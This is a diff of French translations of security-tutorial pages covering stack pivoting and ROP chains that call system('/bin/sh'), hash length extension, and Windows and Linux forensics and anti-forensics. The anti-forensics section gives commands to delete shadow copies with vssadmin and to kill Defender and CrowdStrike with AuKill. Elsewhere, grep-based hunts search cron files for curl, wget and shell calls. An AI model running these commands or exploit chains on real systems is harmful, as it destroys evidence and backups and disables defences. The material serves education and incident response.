N'oubliez pas qu'avant l'une de ces adresses dans la zone contrôlée, il doit y avoir **de l'espace pour le `pop ebp/rbp`** de `leave` (8B sur amd64, 4B sur x86). Vous pouvez abuser de ces octets pour définir un **deuxième EBP factice** et garder le contrôle après le retour du premier appel.
|
||||
|
||||
#### Exploit Off-By-One
|
||||
|
||||
Il existe une variante utilisée lorsque vous pouvez **uniquement modifier le byte le moins significatif du EBP/RBP sauvegardé**. Dans ce cas, l'emplacement mémoire stockant l'adresse à laquelle sauter avec **`ret`** doit partager les trois/cinq premiers octets avec l'EBP/RBP original afin qu'un écrasement de 1 octet puisse le rediriger. En général, le byte bas (offset 0x00) est augmenté pour sauter aussi loin que possible dans une page/région alignée à proximité.
|
||||
Il existe une variante utilisée lorsque vous ne pouvez **modifier que le byte le moins significatif du EBP/RBP sauvegardé**. Dans ce cas, l'emplacement mémoire stockant l'adresse à laquelle sauter avec **`ret`** doit partager les trois/cinq premiers octets avec l'EBP/RBP original afin qu'un écrasement de 1 octet puisse le rediriger. En général, le byte bas (offset 0x00) est augmenté pour sauter aussi loin que possible dans une page/région alignée à proximité.
|
||||
|
||||
Il est également courant d'utiliser un RET sled dans la pile et de mettre la véritable chaîne ROP à la fin pour rendre plus probable que le nouveau RSP pointe à l'intérieur du sled et que la chaîne ROP finale soit exécutée.
|
||||
|
||||
@ -53,14 +53,14 @@ Maintenant, `RSP` est contrôlé et la prochaine instruction est `ret`. Placez d
|
||||
|
||||
- `&(next fake EBP)` -> Chargé par `pop ebp/rbp` de `leave`.
|
||||
- `&system()` -> Appelé par `ret`.
|
||||
- `&(leave;ret)` -> Après la fin de `system`, déplace RSP vers le prochain fake EBP et continue.
|
||||
- `&(leave;ret)` -> Après la fin de `system`, déplace RSP vers le prochain EBP factice et continue.
|
||||
- `&("/bin/sh")` -> Argument pour `system`.
|
||||
|
||||
De cette manière, il est possible de chaîner plusieurs fake EBPs pour contrôler le flux du programme.
|
||||
De cette manière, il est possible de chaîner plusieurs EBP factices pour contrôler le flux du programme.
|
||||
|
||||
C'est comme un [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), mais plus complexe et uniquement utile dans des cas limites.
|
||||
C'est comme un [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), mais plus complexe et utile uniquement dans des cas limites.
|
||||
|
||||
De plus, ici vous avez un [**exemple de défi**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) qui utilise cette technique avec un **leak de pile** pour appeler une fonction gagnante. Voici la charge utile finale de la page :
|
||||
De plus, ici vous avez un [**exemple de défi**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) qui utilise cette technique avec une **fuite de pile** pour appeler une fonction gagnante. Voici la charge utile finale de la page :
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -184,6 +184,7 @@ xchg <reg>, rsp
|
||||
|
||||
Vérifiez la technique ret2esp ici :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
||||
{{#endref}}
|
||||
@ -216,7 +217,7 @@ Une stratégie de pivot robuste utilisée dans de nombreux CTF/exploits :
|
||||
|
||||
## Atténuations modernes qui brisent le pivot de pile (CET/Shadow Stack)
|
||||
|
||||
Les CPU et OS x86 modernes déploient de plus en plus **CET Shadow Stack (SHSTK)**. Avec SHSTK activé, `ret` compare l'adresse de retour sur la pile normale avec une pile d'ombre protégée par le matériel ; toute discordance soulève une faute de protection de contrôle et tue le processus. Par conséquent, des techniques comme EBP2Ret/leave;ret basées sur des pivots planteront dès que le premier `ret` est exécuté à partir d'une pile pivotée.
|
||||
Les CPU et OS x86 modernes déploient de plus en plus **CET Shadow Stack (SHSTK)**. Avec SHSTK activé, `ret` compare l'adresse de retour sur la pile normale avec une pile d'ombre protégée par le matériel ; toute discordance soulève une faute de protection de contrôle et tue le processus. Par conséquent, des techniques comme les pivots basés sur EBP2Ret/leave;ret planteront dès que le premier `ret` est exécuté à partir d'une pile pivotée.
|
||||
|
||||
- Pour des informations de base et des détails plus approfondis, voir :
|
||||
|
||||
@ -239,14 +240,14 @@ grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wr
|
||||
(gdb) checksec
|
||||
```
|
||||
- Notes pour les labs/CTF :
|
||||
- Certaines distributions modernes activent SHSTK pour les binaires compatibles CET lorsque le matériel et glibc sont pris en charge. Pour des tests contrôlés dans des VM, SHSTK peut être désactivé à l'échelle du système via le paramètre de démarrage du noyau `nousershstk`, ou activé sélectivement via les réglages de glibc au démarrage (voir les références). Ne désactivez pas les atténuations sur les cibles de production.
|
||||
- Les techniques basées sur JOP/COOP ou SROP pourraient encore être viables sur certaines cibles, mais SHSTK casse spécifiquement les pivots basés sur `ret`.
|
||||
- Certaines distributions modernes activent SHSTK pour les binaires compatibles CET lorsque le matériel et le glibc sont pris en charge. Pour des tests contrôlés dans des VM, SHSTK peut être désactivé au niveau système via le paramètre de démarrage du noyau `nousershstk`, ou activé sélectivement via les réglages glibc au démarrage (voir les références). Ne désactivez pas les atténuations sur les cibles de production.
|
||||
- Les techniques basées sur JOP/COOP ou SROP peuvent encore être viables sur certaines cibles, mais SHSTK casse spécifiquement les pivots basés sur `ret`.
|
||||
|
||||
- Note Windows : Windows 10+ expose le mode utilisateur et Windows 11 ajoute la "Protection de pile appliquée par le matériel" en mode noyau, basée sur des piles d'ombre. Les processus compatibles CET empêchent le pivotement de pile/ROP à `ret` ; les développeurs optent pour via CETCOMPAT et des politiques connexes (voir référence).
|
||||
- Note Windows : Windows 10+ expose le mode utilisateur et Windows 11 ajoute la protection de pile "Hardware-enforced Stack Protection" en mode noyau basée sur des piles d'ombre. Les processus compatibles CET empêchent le pivotement de pile/ROP à `ret` ; les développeurs optent pour via CETCOMPAT et des politiques connexes (voir référence).
|
||||
|
||||
## ARM64
|
||||
|
||||
Dans ARM64, les **prologues et épilogues** des fonctions **ne stockent ni ne récupèrent le registre SP** dans la pile. De plus, l'instruction **`RET`** ne retourne pas à l'adresse pointée par SP, mais **à l'adresse à l'intérieur de `x30`**.
|
||||
Dans ARM64, le **prologue et les épilogues** des fonctions **ne stockent pas et ne récupèrent pas le registre SP** dans la pile. De plus, l'instruction **`RET`** ne retourne pas à l'adresse pointée par SP, mais **à l'adresse à l'intérieur de `x30`**.
|
||||
|
||||
Par conséquent, par défaut, en abusant simplement de l'épilogue, vous **ne pourrez pas contrôler le registre SP** en écrasant certaines données à l'intérieur de la pile. Et même si vous parvenez à contrôler le SP, vous auriez toujours besoin d'un moyen de **contrôler le registre `x30`**.
|
||||
|
||||
@ -282,8 +283,8 @@ Aussi, sur la page suivante, vous pouvez voir l'équivalent de **Ret2esp dans AR
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
|
||||
- 64 bits, exploitation off by one avec une chaîne rop commençant par un ret sled
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
|
||||
- 64 bits, pas de relro, canary, nx et pie. Le programme accorde une fuite pour la pile ou pie et un WWW d'un qword. D'abord, obtenez la fuite de la pile et utilisez le WWW pour revenir et obtenir la fuite de pie. Ensuite, utilisez le WWW pour créer une boucle éternelle en abusant des entrées de `.fini_array` + en appelant `__libc_csu_fini` ([plus d'infos ici](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). En abusant de cette écriture "éternelle", une chaîne ROP est écrite dans le .bss et finit par l'appeler en pivotant avec RBP.
|
||||
- Documentation du noyau Linux : Technologie d'application de contrôle de flux (CET) Shadow Stack — détails sur SHSTK, `nousershstk`, les indicateurs `/proc/$PID/status`, et l'activation via `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html
|
||||
- 64 bits, pas de relro, canary, nx et pie. Le programme accorde une fuite pour la pile ou pie et un WWW d'un qword. D'abord, obtenez la fuite de la pile et utilisez le WWW pour revenir et obtenir la fuite de pie. Ensuite, utilisez le WWW pour créer une boucle éternelle en abusant des entrées `.fini_array` + en appelant `__libc_csu_fini` ([plus d'infos ici](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). En abusant de cette écriture "éternelle", une chaîne ROP est écrite dans le .bss et finit par l'appeler en pivotant avec RBP.
|
||||
- Documentation du noyau Linux : Control-flow Enforcement Technology (CET) Shadow Stack — détails sur SHSTK, `nousershstk`, les indicateurs `/proc/$PID/status`, et l'activation via `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html
|
||||
- Microsoft Learn : Protection de pile appliquée par le matériel en mode noyau (piles d'ombre CET sur Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,4 +1,4 @@
|
||||
# Hash Length Extension Attack
|
||||
# Attaque par extension de longueur de hachage
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -35,6 +35,6 @@ https://github.com/iagox86/hash_extender
|
||||
|
||||
### Références
|
||||
|
||||
Vous pouvez trouver cette attaque bien expliquée dans [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
|
||||
Vous pouvez trouver cette attaque bien expliquée sur [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -11,7 +11,7 @@
|
||||
|
||||
## Analyse de Malware
|
||||
|
||||
Ce **n'est pas nécessairement la première étape à réaliser une fois que vous avez l'image**. Mais vous pouvez utiliser ces techniques d'analyse de malware de manière indépendante si vous avez un fichier, une image de système de fichiers, une image mémoire, pcap... donc il est bon de **garder ces actions à l'esprit** :
|
||||
Ce **n'est pas nécessairement la première étape à réaliser une fois que vous avez l'image**. Mais vous pouvez utiliser ces techniques d'analyse de malware indépendamment si vous avez un fichier, une image de système de fichiers, une image mémoire, pcap... donc il est bon de **garder ces actions à l'esprit** :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -20,14 +20,14 @@ malware-analysis.md
|
||||
|
||||
## Inspection d'une Image
|
||||
|
||||
Si vous recevez une **image forensique** d'un appareil, vous pouvez commencer **à analyser les partitions, le système de fichiers** utilisé et **récupérer** potentiellement des **fichiers intéressants** (même ceux supprimés). Apprenez comment dans :
|
||||
Si vous recevez une **image forensique** d'un appareil, vous pouvez commencer **à analyser les partitions, le système de fichiers** utilisé et **à récupérer** potentiellement des **fichiers intéressants** (même ceux supprimés). Apprenez comment dans :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
partitions-file-systems-carving/
|
||||
{{#endref}}
|
||||
|
||||
Selon les systèmes d'exploitation utilisés et même la plateforme, différents artefacts intéressants devraient être recherchés :
|
||||
Selon les OS utilisés et même la plateforme, différents artefacts intéressants devraient être recherchés :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -44,7 +44,7 @@ linux-forensics.md
|
||||
docker-forensics.md
|
||||
{{#endref}}
|
||||
|
||||
## Inspection Approfondie de Types de Fichiers et de Logiciels Spécifiques
|
||||
## Inspection approfondie de types de fichiers spécifiques et de logiciels
|
||||
|
||||
Si vous avez un **fichier** très **suspect**, alors **selon le type de fichier et le logiciel** qui l'a créé, plusieurs **astuces** peuvent être utiles.\
|
||||
Lisez la page suivante pour apprendre quelques astuces intéressantes :
|
||||
|
@ -25,7 +25,7 @@ L'image précédente est la **sortie** affichée par l'**outil** où l'on peut o
|
||||
|
||||
### $LogFile
|
||||
|
||||
**Tous les changements de métadonnées d'un système de fichiers sont enregistrés** dans un processus connu sous le nom de [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). Les métadonnées enregistrées sont conservées dans un fichier nommé `**$LogFile**`, situé dans le répertoire racine d'un système de fichiers NTFS. Des outils comme [LogFileParser](https://github.com/jschicht/LogFileParser) peuvent être utilisés pour analyser ce fichier et identifier les changements.
|
||||
**Tous les changements de métadonnées d'un système de fichiers sont enregistrés** dans un processus connu sous le nom de [journalisation anticipée](https://en.wikipedia.org/wiki/Write-ahead_logging). Les métadonnées enregistrées sont conservées dans un fichier nommé `**$LogFile**`, situé dans le répertoire racine d'un système de fichiers NTFS. Des outils comme [LogFileParser](https://github.com/jschicht/LogFileParser) peuvent être utilisés pour analyser ce fichier et identifier les changements.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -65,7 +65,7 @@ Il est alors possible de récupérer l'espace de remplissage en utilisant des ou
|
||||
## UsbKill
|
||||
|
||||
C'est un outil qui **éteindra l'ordinateur si un changement dans les ports USB** est détecté.\
|
||||
Une façon de découvrir cela serait d'inspecter les processus en cours et de **réviser chaque script python en cours d'exécution**.
|
||||
Une façon de le découvrir serait d'inspecter les processus en cours et de **réviser chaque script python en cours d'exécution**.
|
||||
|
||||
## Distributions Linux Live
|
||||
|
||||
@ -114,20 +114,20 @@ Vous pouvez également utiliser l'outil [**USBDeview**](https://www.nirsoft.net/
|
||||
|
||||
Un autre fichier qui sauvegarde des informations sur les USB est le fichier `setupapi.dev.log` à l'intérieur de `C:\Windows\INF`. Cela devrait également être supprimé.
|
||||
|
||||
### Désactiver les Copies d'Ombre
|
||||
### Désactiver les Copies de Sécurité
|
||||
|
||||
**Lister** les copies d'ombre avec `vssadmin list shadowstorage`\
|
||||
**Lister** les copies de sécurité avec `vssadmin list shadowstorage`\
|
||||
**Les supprimer** en exécutant `vssadmin delete shadow`
|
||||
|
||||
Vous pouvez également les supprimer via l'interface graphique en suivant les étapes proposées dans [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
|
||||
|
||||
Pour désactiver les copies d'ombre [étapes à partir d'ici](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
|
||||
Pour désactiver les copies de sécurité [étapes à partir d'ici](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
|
||||
|
||||
1. Ouvrez le programme Services en tapant "services" dans la zone de recherche après avoir cliqué sur le bouton de démarrage Windows.
|
||||
2. Dans la liste, trouvez "Volume Shadow Copy", sélectionnez-le, puis accédez aux Propriétés en cliquant avec le bouton droit.
|
||||
3. Choisissez Désactivé dans le menu déroulant "Type de démarrage", puis confirmez le changement en cliquant sur Appliquer et OK.
|
||||
|
||||
Il est également possible de modifier la configuration des fichiers qui vont être copiés dans la copie d'ombre dans le registre `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
|
||||
Il est également possible de modifier la configuration des fichiers qui vont être copiés dans la copie de sécurité dans le registre `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
|
||||
|
||||
### Écraser les fichiers supprimés
|
||||
|
||||
@ -186,7 +186,7 @@ Public PoCs (e.g. `EtwTiSwallow`) implémentent la même primitive en PowerShell
|
||||
Parce que le patch est **local au processus**, les EDRs fonctionnant dans d'autres processus peuvent le manquer.
|
||||
Détection : comparer `ntdll` en mémoire vs. sur disque, ou intercepter avant le mode utilisateur.
|
||||
|
||||
### Revival des Flux de Données Alternatifs (ADS)
|
||||
### Renaissance des Flux de Données Alternatifs (ADS)
|
||||
|
||||
Des campagnes de malware en 2023 (e.g. **FIN12** loaders) ont été observées mettant en scène des binaires de deuxième étape à l'intérieur des ADS pour rester hors de vue des scanners traditionnels :
|
||||
```cmd
|
||||
@ -204,19 +204,19 @@ Bring-Your-Own-Vulnerable-Driver est désormais couramment utilisé pour **anti-
|
||||
AuKill.exe -e "C:\\Program Files\\Windows Defender\\MsMpEng.exe"
|
||||
AuKill.exe -k CrowdStrike
|
||||
```
|
||||
Le pilote est supprimé par la suite, laissant des artefacts minimes.
|
||||
Le pilote est ensuite supprimé, laissant des artefacts minimes.
|
||||
Atténuations : activer la liste de blocage des pilotes vulnérables de Microsoft (HVCI/SAC) et alerter sur la création de services du noyau à partir de chemins modifiables par l'utilisateur.
|
||||
|
||||
---
|
||||
|
||||
## Linux Anti-Forensics : Auto-correction et Cloud C2 (2023–2025)
|
||||
## Anti-Forensique Linux : Auto-correction et Cloud C2 (2023–2025)
|
||||
|
||||
### Auto-correction des services compromis pour réduire la détection (Linux)
|
||||
Les adversaires "s'auto-corrigent" de plus en plus un service juste après l'avoir exploité pour à la fois prévenir la ré-exploitation et supprimer les détections basées sur des vulnérabilités. L'idée est de remplacer les composants vulnérables par les derniers binaires/JARs légitimes en amont, de sorte que les scanners rapportent l'hôte comme corrigé tout en maintenant la persistance et le C2.
|
||||
|
||||
Exemple : Apache ActiveMQ OpenWire RCE (CVE‑2023‑46604)
|
||||
- Après l'exploitation, les attaquants ont récupéré des JARs légitimes depuis Maven Central (repo1.maven.org), supprimé les JARs vulnérables dans l'installation d'ActiveMQ et redémarré le courtier.
|
||||
- Cela a fermé le RCE initial tout en maintenant d'autres points d'ancrage (cron, modifications de la configuration SSH, implants C2 séparés).
|
||||
- Après l'exploitation, les attaquants ont récupéré des JARs légitimes depuis Maven Central (repo1.maven.org), ont supprimé les JARs vulnérables dans l'installation d'ActiveMQ et ont redémarré le courtier.
|
||||
- Cela a fermé le RCE initial tout en maintenant d'autres points d'ancrage (cron, modifications de configuration SSH, implants C2 séparés).
|
||||
|
||||
Exemple opérationnel (illustratif)
|
||||
```bash
|
||||
@ -252,30 +252,30 @@ Le savoir-faire observé combinait plusieurs chemins C2 à long terme et un emba
|
||||
- Artefacts d'exécution : extraction vers `/tmp/_MEI*` ou chemins personnalisés `--runtime-tmpdir`.
|
||||
- C2 soutenu par Dropbox utilisant des jetons OAuth Bearer codés en dur
|
||||
- Marqueurs réseau : `api.dropboxapi.com` / `content.dropboxapi.com` avec `Authorization: Bearer <token>`.
|
||||
- Recherchez dans les proxy/NetFlow/Zeek/Suricata des HTTPS sortants vers des domaines Dropbox à partir de charges de travail serveur qui ne synchronisent normalement pas de fichiers.
|
||||
- Chasser dans les proxy/NetFlow/Zeek/Suricata pour des HTTPS sortants vers des domaines Dropbox à partir de charges de travail serveur qui ne synchronisent normalement pas de fichiers.
|
||||
- C2 parallèle/de secours via tunneling (par exemple, Cloudflare Tunnel `cloudflared`), gardant le contrôle si un canal est bloqué.
|
||||
- IOCs d'hôte : processus/unites `cloudflared`, config à `~/.cloudflared/*.json`, sortant 443 vers les bords de Cloudflare.
|
||||
- IOCs d'hôte : processus/unité `cloudflared`, configuration à `~/.cloudflared/*.json`, sortant 443 vers les bords de Cloudflare.
|
||||
|
||||
### Persistance et "rollback de durcissement" pour maintenir l'accès (exemples Linux)
|
||||
Les attaquants associent fréquemment auto-correction et chemins d'accès durables :
|
||||
Les attaquants associent fréquemment auto-correction avec des chemins d'accès durables :
|
||||
- Cron/Anacron : modifications du stub `0anacron` dans chaque répertoire `/etc/cron.*/` pour une exécution périodique.
|
||||
- Chasse :
|
||||
- Chasser :
|
||||
```bash
|
||||
for d in /etc/cron.*; do [ -f "$d/0anacron" ] && stat -c '%n %y %s' "$d/0anacron"; done
|
||||
grep -R --line-number -E 'curl|wget|python|/bin/sh' /etc/cron.*/* 2>/dev/null
|
||||
```
|
||||
- Rétrogradation de durcissement de la configuration SSH : activation des connexions root et modification des shells par défaut pour les comptes à faible privilège.
|
||||
- Chasse pour l'activation de la connexion root :
|
||||
- Chasser l'activation de la connexion root :
|
||||
```bash
|
||||
grep -E '^\s*PermitRootLogin' /etc/ssh/sshd_config
|
||||
# valeurs de drapeau comme "yes" ou paramètres trop permissifs
|
||||
```
|
||||
- Chasse pour des shells interactifs suspects sur des comptes système (par exemple, `games`) :
|
||||
- Chasser les shells interactifs suspects sur les comptes système (par exemple, `games`) :
|
||||
```bash
|
||||
awk -F: '($7 ~ /bin\/(sh|bash|zsh)/ && $1 ~ /^(games|lp|sync|shutdown|halt|mail|operator)$/) {print}' /etc/passwd
|
||||
```
|
||||
- Artefacts de balise aléatoires et de noms courts (8 caractères alphabétiques) déposés sur le disque qui contactent également le C2 cloud :
|
||||
- Chasse :
|
||||
- Chasser :
|
||||
```bash
|
||||
find / -maxdepth 3 -type f -regextype posix-extended -regex '.*/[A-Za-z]{8}$' \
|
||||
-exec stat -c '%n %s %y' {} \; 2>/dev/null | sort
|
||||
|
@ -6,12 +6,12 @@
|
||||
|
||||
### Informations de base
|
||||
|
||||
Tout d'abord, il est recommandé d'avoir une **clé USB** avec des **binaires et bibliothèques bien connus** dessus (vous pouvez simplement obtenir ubuntu et copier les dossiers _/bin_, _/sbin_, _/lib,_ et _/lib64_), puis monter la clé USB et modifier les variables d'environnement pour utiliser ces binaires :
|
||||
Tout d'abord, il est recommandé d'avoir une **USB** avec des **binaires et bibliothèques bien connus** dessus (vous pouvez simplement obtenir ubuntu et copier les dossiers _/bin_, _/sbin_, _/lib,_ et _/lib64_), puis monter l'USB et modifier les variables d'environnement pour utiliser ces binaires :
|
||||
```bash
|
||||
export PATH=/mnt/usb/bin:/mnt/usb/sbin
|
||||
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
|
||||
```
|
||||
Une fois que vous avez configuré le système pour utiliser de bons binaires connus, vous pouvez commencer à **extraire des informations de base** :
|
||||
Une fois que vous avez configuré le système pour utiliser de bons binaires connus, vous pouvez commencer **à extraire des informations de base** :
|
||||
```bash
|
||||
date #Date and time (Clock may be skewed, Might be at a different timezone)
|
||||
uname -a #OS info
|
||||
@ -35,7 +35,7 @@ Lors de l'obtention des informations de base, vous devez vérifier des choses é
|
||||
|
||||
- **Les processus root** s'exécutent généralement avec de faibles PIDS, donc si vous trouvez un processus root avec un grand PID, vous pouvez suspecter
|
||||
- Vérifiez les **connexions enregistrées** des utilisateurs sans shell dans `/etc/passwd`
|
||||
- Vérifiez les **hashs de mots de passe** dans `/etc/shadow` pour les utilisateurs sans shell
|
||||
- Vérifiez les **hashs de mot de passe** dans `/etc/shadow` pour les utilisateurs sans shell
|
||||
|
||||
### Dump de mémoire
|
||||
|
||||
@ -54,7 +54,7 @@ sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
|
||||
LiME prend en charge 3 **formats** :
|
||||
|
||||
- Brut (chaque segment concaténé ensemble)
|
||||
- Padded (identique à brut, mais avec des zéros dans les bits de droite)
|
||||
- Rembourré (identique au brut, mais avec des zéros dans les bits de droite)
|
||||
- Lime (format recommandé avec des métadonnées)
|
||||
|
||||
LiME peut également être utilisé pour **envoyer le dump via le réseau** au lieu de le stocker sur le système en utilisant quelque chose comme : `path=tcp:4444`
|
||||
@ -64,7 +64,7 @@ LiME peut également être utilisé pour **envoyer le dump via le réseau** au l
|
||||
#### Arrêt
|
||||
|
||||
Tout d'abord, vous devrez **éteindre le système**. Ce n'est pas toujours une option car parfois le système sera un serveur de production que l'entreprise ne peut pas se permettre d'éteindre.\
|
||||
Il existe **2 façons** d'éteindre le système, un **arrêt normal** et un **arrêt "débrancher"**. Le premier permettra aux **processus de se terminer comme d'habitude** et au **système de fichiers** d'être **synchronisé**, mais il permettra également au **malware** de **détruire des preuves**. L'approche "débrancher" peut entraîner **une certaine perte d'informations** (pas beaucoup d'infos vont être perdues car nous avons déjà pris une image de la mémoire) et le **malware n'aura aucune opportunité** d'agir. Par conséquent, si vous **soupçonnez** qu'il pourrait y avoir un **malware**, exécutez simplement la **commande** **`sync`** sur le système et débranchez.
|
||||
Il existe **2 façons** d'éteindre le système, un **arrêt normal** et un **arrêt "débrancher le câble"**. Le premier permettra aux **processus de se terminer comme d'habitude** et au **système de fichiers** d'être **synchronisé**, mais il permettra également au **malware** de **détruire des preuves**. L'approche "débrancher le câble" peut entraîner **une certaine perte d'informations** (pas beaucoup d'infos vont être perdues car nous avons déjà pris une image de la mémoire) et le **malware n'aura aucune opportunité** d'agir. Par conséquent, si vous **soupçonnez** qu'il pourrait y avoir un **malware**, exécutez simplement la **commande** **`sync`** sur le système et débranchez le câble.
|
||||
|
||||
#### Prendre une image du disque
|
||||
|
||||
@ -156,7 +156,7 @@ Pour rechercher efficacement des programmes installés sur les systèmes Debian
|
||||
- Pour Debian, inspectez _**`/var/lib/dpkg/status`**_ et _**`/var/log/dpkg.log`**_ pour obtenir des détails sur les installations de paquets, en utilisant `grep` pour filtrer des informations spécifiques.
|
||||
- Les utilisateurs de RedHat peuvent interroger la base de données RPM avec `rpm -qa --root=/mntpath/var/lib/rpm` pour lister les paquets installés.
|
||||
|
||||
Pour découvrir des logiciels installés manuellement ou en dehors de ces gestionnaires de paquets, explorez des répertoires comme _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, et _**`/sbin`**_. Combinez les listings de répertoires avec des commandes spécifiques au système pour identifier des exécutables non associés à des paquets connus, améliorant ainsi votre recherche de tous les programmes installés.
|
||||
Pour découvrir des logiciels installés manuellement ou en dehors de ces gestionnaires de paquets, explorez des répertoires comme _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, et _**`/sbin`**_. Combinez les listings de répertoires avec des commandes spécifiques au système pour identifier les exécutables non associés à des paquets connus, améliorant ainsi votre recherche de tous les programmes installés.
|
||||
```bash
|
||||
# Debian package and log details
|
||||
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
|
||||
@ -205,7 +205,7 @@ for d in /etc/cron.*; do [ -f "$d/0anacron" ] && stat -c '%n %y %s' "$d/0anacron
|
||||
# Look for obvious execution of shells or downloaders embedded in cron stubs
|
||||
grep -R --line-number -E 'curl|wget|/bin/sh|python|bash -c' /etc/cron.*/* 2>/dev/null
|
||||
```
|
||||
#### Hunt: Rétrogradation du durcissement SSH et shells de porte dérobée
|
||||
#### Hunt: SSH hardening rollback and backdoor shells
|
||||
Les modifications apportées à sshd_config et aux shells des comptes système sont courantes après une exploitation pour préserver l'accès.
|
||||
```bash
|
||||
# Root login enablement (flag "yes" or lax values)
|
||||
@ -233,7 +233,7 @@ Chemins où un malware pourrait être installé en tant que service :
|
||||
- **/etc/systemd/system** : Un répertoire pour les scripts du gestionnaire de système et de service.
|
||||
- **/etc/systemd/system/multi-user.target.wants/** : Contient des liens vers des services qui doivent être démarrés dans un niveau d'exécution multi-utilisateur.
|
||||
- **/usr/local/etc/rc.d/** : Pour des services personnalisés ou tiers.
|
||||
- **\~/.config/autostart/** : Pour les applications de démarrage automatique spécifiques à l'utilisateur, qui peuvent être un endroit caché pour des malwares ciblant l'utilisateur.
|
||||
- **\~/.config/autostart/** : Pour les applications de démarrage automatique spécifiques à l'utilisateur, qui peuvent être un endroit caché pour des malwares ciblant les utilisateurs.
|
||||
- **/lib/systemd/system/** : Fichiers d'unité par défaut à l'échelle du système fournis par les paquets installés.
|
||||
|
||||
### Kernel Modules
|
||||
@ -262,7 +262,7 @@ Les systèmes Linux suivent les activités des utilisateurs et les événements
|
||||
- **/var/log/boot.log** : Contient des messages de démarrage du système.
|
||||
- **/var/log/maillog** ou **/var/log/mail.log** : Journalise les activités du serveur de messagerie, utile pour suivre les services liés aux e-mails.
|
||||
- **/var/log/kern.log** : Stocke les messages du noyau, y compris les erreurs et avertissements.
|
||||
- **/var/log/dmesg** : Contient des messages des pilotes de périphériques.
|
||||
- **/var/log/dmesg** : Contient des messages du pilote de périphérique.
|
||||
- **/var/log/faillog** : Enregistre les tentatives de connexion échouées, aidant dans les enquêtes sur les violations de sécurité.
|
||||
- **/var/log/cron** : Journalise les exécutions des tâches cron.
|
||||
- **/var/log/daemon.log** : Suit les activités des services en arrière-plan.
|
||||
@ -355,9 +355,9 @@ ls -laR --sort=time /bin```
|
||||
ls -lai /bin | sort -n```
|
||||
````
|
||||
> [!TIP]
|
||||
> Notez qu'un **attaquant** peut **modifier** le **temps** pour faire **apparaître** les **fichiers** comme **légitimes**, mais il **ne peut pas** modifier l'**inode**. Si vous constatez qu'un **fichier** indique qu'il a été créé et modifié en même temps que le reste des fichiers dans le même dossier, mais que l'**inode** est **inattendu plus grand**, alors les **horodatages de ce fichier ont été modifiés**.
|
||||
> Notez qu'un **attaquant** peut **modifier** le **temps** pour faire en sorte que les **fichiers apparaissent** **légitimes**, mais il **ne peut pas** modifier l'**inode**. Si vous constatez qu'un **fichier** indique qu'il a été créé et modifié en même temps que le reste des fichiers dans le même dossier, mais que l'**inode** est **inattendu plus grand**, alors les **horodatages de ce fichier ont été modifiés**.
|
||||
|
||||
## Comparer des fichiers de différentes versions de système de fichiers
|
||||
## Comparer les fichiers de différentes versions de système de fichiers
|
||||
|
||||
### Résumé de la comparaison des versions de système de fichiers
|
||||
|
||||
@ -384,7 +384,7 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
|
||||
- `T`: Changements de type (par exemple, fichier vers symlink)
|
||||
- `U`: Fichiers non fusionnés
|
||||
- `X`: Fichiers inconnus
|
||||
- `B`: Fichiers corrompus
|
||||
- `B`: Fichiers cassés
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -10,7 +10,7 @@ L'unité **minimale** d'un disque est le **secteur** (normalement composé de 51
|
||||
### MBR (master Boot Record)
|
||||
|
||||
Il est alloué dans le **premier secteur du disque après les 446B du code de démarrage**. Ce secteur est essentiel pour indiquer au PC ce qui doit être monté et d'où.\
|
||||
